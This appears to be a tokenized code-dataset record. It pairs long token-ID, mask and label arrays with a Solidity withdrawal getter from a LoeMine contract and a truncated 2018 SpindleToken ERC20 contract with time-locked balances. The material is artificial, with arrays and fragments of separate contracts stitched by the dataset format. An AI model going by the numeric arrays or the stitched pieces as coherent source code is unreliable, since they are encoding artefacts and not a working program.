0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
12948,
14431,
12,
18359,
3778,
389,
25092,
13,
1071,
288,
203,
3639,
1731,
1578,
462,
7862,
2423,
14431,
548,
273,
336,
14431,
548,
24899,
25092,
18,
343,
7862,
2423,
14431,
1769,
203,
3639,
1731,
1578,
462,
7862,
1998,
14431,
548,
273,
336,
14431,
548,
24899,
25092,
18,
343,
7862,
1998,
14431,
1769,
203,
3639,
1731,
1578,
12948,
548,
273,
336,
18359,
548,
24899,
25092,
1769,
203,
3639,
2583,
12,
8593,
4002,
12,
343,
7862,
1998,
14431,
548,
3631,
315,
782,
7862,
1998,
2427,
1297,
1005,
8863,
203,
3639,
2583,
12,
25414,
4002,
12,
343,
7862,
2423,
14431,
548,
3631,
315,
782,
7862,
2423,
9776,
1297,
1005,
8863,
203,
3639,
2583,
12,
12288,
87,
24899,
25092,
18,
343,
7862,
2423,
14431,
18,
1717,
3676,
16,
389,
25092,
18,
343,
7862,
1998,
14431,
18,
1717,
3676,
3631,
315,
18359,
7322,
1297,
9136,
8863,
203,
3639,
2583,
24899,
25092,
18,
343,
7862,
1998,
14431,
18,
2019,
1891,
18,
412,
345,
2540,
1768,
1854,
411,
389,
25092,
18,
343,
7862,
2423,
14431,
18,
2019,
1891,
18,
412,
345,
2540,
1768,
1854,
16,
315,
782,
7862,
1998,
3283,
1839,
462,
7862,
2423,
3283,
8863,
203,
3639,
2583,
12,
5,
343,
7862,
2852,
63,
25092,
548,
6487,
315,
18359,
1297,
486,
1818,
1005,
8863,
203,
3639,
2583,
12,
1893,
4139,
63,
343,
7862,
2423,
14431,
548,
8009,
25092,
429,
9716,
405,
1203,
18,
2696,
16,
315,
14431,
1297,
4859,
506,
462,
7862,
8455,
8863,
203,
3639,
26402,
63,
343,
7862,
2423,
14431,
548,
8009,
659,
15167,
782,
7862,
2852,
1011,
404,
31,
203,
3639,
462,
7862,
2852,
63,
25092,
548,
65,
273,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x010e8bB92079a4C7E83df9dE46f1C6e32E838b10/sources/contracts/relayer/loe-relayer/loe-feat-eip2771/contracts/contracts/mine/LoeMine.sol
|
* @dev first call getPendingWithdrawIds() to get valid ids @return date when can be withdrawn and amount/
|
function getPendingWithdraw(address user, uint256 id) view external returns (uint40, uint216) {
PendingWithdrawals storage _pendingWithdrawals = pendingWithdraws[user];
require(
id >= _pendingWithdrawals.fromId && id < _pendingWithdrawals.toId,
"LoeMine: withdraw id is not active"
);
PendingWithdrawal storage _pendingWithdrawal = _pendingWithdrawals.pendingWithdrawals[id];
return (_pendingWithdrawal.withdrawalDate, _pendingWithdrawal.amount);
}
| 863,254 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
1122,
745,
1689,
2846,
1190,
9446,
2673,
1435,
358,
336,
923,
3258,
632,
2463,
1509,
1347,
848,
506,
598,
9446,
82,
471,
3844,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1689,
2846,
1190,
9446,
12,
2867,
729,
16,
2254,
5034,
612,
13,
1476,
3903,
1135,
261,
11890,
7132,
16,
2254,
22,
2313,
13,
288,
203,
3639,
16034,
1190,
9446,
1031,
2502,
389,
9561,
1190,
9446,
1031,
273,
4634,
1190,
9446,
87,
63,
1355,
15533,
203,
3639,
2583,
12,
203,
5411,
612,
1545,
389,
9561,
1190,
9446,
1031,
18,
2080,
548,
597,
612,
411,
389,
9561,
1190,
9446,
1031,
18,
869,
548,
16,
203,
5411,
315,
1504,
73,
49,
558,
30,
598,
9446,
612,
353,
486,
2695,
6,
203,
3639,
11272,
203,
3639,
16034,
1190,
9446,
287,
2502,
389,
9561,
1190,
9446,
287,
273,
389,
9561,
1190,
9446,
1031,
18,
9561,
1190,
9446,
1031,
63,
350,
15533,
203,
3639,
327,
261,
67,
9561,
1190,
9446,
287,
18,
1918,
9446,
287,
1626,
16,
389,
9561,
1190,
9446,
287,
18,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address holder, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
event Approval(address indexed holder, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// require(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// require(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract SpindleToken is ERC20, Ownable {
using SafeMath for uint256;
string public constant name = 'SPINDLE';
string public constant symbol = 'SPD';
uint8 public constant decimals = 18;
uint256 constant TOTAL_SPD = 10000000000;
uint256 constant TOTAL_SUPPLY = TOTAL_SPD * (uint256(10) ** decimals);
uint64 constant ICO_START_TIME = 1526083200; // 2018-05-12
uint64 constant RELEASE_B = ICO_START_TIME + 30 days;
uint64 constant RELEASE_C = ICO_START_TIME + 60 days;
uint64 constant RELEASE_D = ICO_START_TIME + 90 days;
uint64 constant RELEASE_E = ICO_START_TIME + 180 days;
uint64 constant RELEASE_F = ICO_START_TIME + 270 days;
uint64[] RELEASE = new uint64[](6);
mapping(address => uint256[6]) balances;
mapping(address => mapping(address => uint256)) allowed;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function SpindleToken() public {
RELEASE[0] = ICO_START_TIME;
RELEASE[1] = RELEASE_B;
RELEASE[2] = RELEASE_C;
RELEASE[3] = RELEASE_D;
RELEASE[4] = RELEASE_E;
RELEASE[5] = RELEASE_F;
balances[msg.sender][0] = TOTAL_SUPPLY;
emit Transfer(0x0, msg.sender, TOTAL_SUPPLY);
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() external view returns (uint256) {
return TOTAL_SUPPLY;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) external returns (bool) {
require(_to != address(0));
require(_to != address(this));
_updateLockUpAmountOf(msg.sender);
// SafeMath.sub will revert if there is not enough balance.
balances[msg.sender][0] = balances[msg.sender][0].sub(_value);
balances[_to][0] = balances[_to][0].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the payable balance of the specified address.
* @param _holder The address to query the the balance of.
* @return An uint256 representing the payable amount owned by the passed address.
*/
function balanceOf(address _holder) external view returns (uint256) {
uint256[6] memory arr = lockUpAmountOf(_holder);
return arr[0];
}
/**
* @dev Gets the lockUpAmount tuple of the specified address.
* @param _holder address The address to query the the balance of.
* @return An LockUpAmount representing the amount owned by the passed address.
*/
function lockUpAmountOf(address _holder) public view returns (
uint256[6]
) {
uint256[6] memory arr;
arr[0] = balances[_holder][0];
for (uint i = 1; i < RELEASE.length; i++) {
arr[i] = balances[_holder][i];
if(now >= RELEASE[i]){
arr[0] = arr[0].add(balances[_holder][i]);
arr[i] = 0;
}
else
{
arr[i] = balances[_holder][i];
}
}
return arr;
}
/**
* @dev update the lockUpAmount of _address.
* @param _address address The address updated the balances of.
*/
function _updateLockUpAmountOf(address _address) internal {
uint256[6] memory arr = lockUpAmountOf(_address);
for(uint8 i = 0;i < arr.length; i++){
balances[_address][i] = arr[i];
}
}
/**
* @dev gets the strings of lockUpAmount of _address.
* @param _address address The address gets the string of lockUpAmount of.
*/
function lockUpAmountStrOf(address _address) external view returns (
address Address,
string a,
string b,
string c,
string d,
string e,
string f
) {
address __address = _address;
if(__address == address(0)) __address = msg.sender;
uint256[6] memory arr = lockUpAmountOf(__address);
return (
__address,
_uintToSPDStr(arr[0]),
_uintToSPDStr(arr[1]),
_uintToSPDStr(arr[2]),
_uintToSPDStr(arr[3]),
_uintToSPDStr(arr[4]),
_uintToSPDStr(arr[5])
);
}
/**
* @dev gets the SPD_strings of a token amount.
* @param _amount The value of a token amount.
*/
function _uintToSPDStr(uint256 _amount) internal pure returns (string) {
uint8 __tindex;
uint8 __sindex;
uint8 __left;
uint8 __right;
bytes memory __t = new bytes(30); // '10000000000.000000000000000000'.length is 30 (max input)
// set all bytes
for(__tindex = 29; ; __tindex--){ // last_index:29 to first_index:0
if(__tindex == 11){ // dot index
__t[__tindex] = byte(46); // byte of '.' is 46
continue;
}
__t[__tindex] = byte(48 + _amount%10); // byte of '0' is 48
_amount = _amount.div(10);
if(__tindex == 0) break;
}
// calc the str region
for(__left = 0; __left < 10; __left++) { // find the first index of non-zero byte. return at least '0.xxxxx'
if(__t[__left] != byte(48)) break; // byte of '0' is 48
}
for(__right = 29; __right > 12; __right--){ // find the last index of non-zero byte. return at least 'xxxxx.0'
if(__t[__right] != byte(48)) break; // byte of '0' is 48
}
bytes memory __s = new bytes(__right - __left + 1 + 4); // allocatte __s[left..right] + ' SPD'
// set and return
__sindex = 0;
for(__tindex = __left; __tindex <= __right; __tindex++){
__s[__sindex] = __t[__tindex];
__sindex++;
}
__s[__sindex++] = byte(32); // byte of ' ' is 32
__s[__sindex++] = byte(83); // byte of 'S' is 83
__s[__sindex++] = byte(80); // byte of 'P' is 80
__s[__sindex++] = byte(68); // byte of 'D' is 68
return string(__s);
}
/**
* @dev Distribute tokens from owner address to another
* @param _to address The address which you want to transfer to
* @param _a uint256 the amount of A-type-tokens to be transferred
* ...
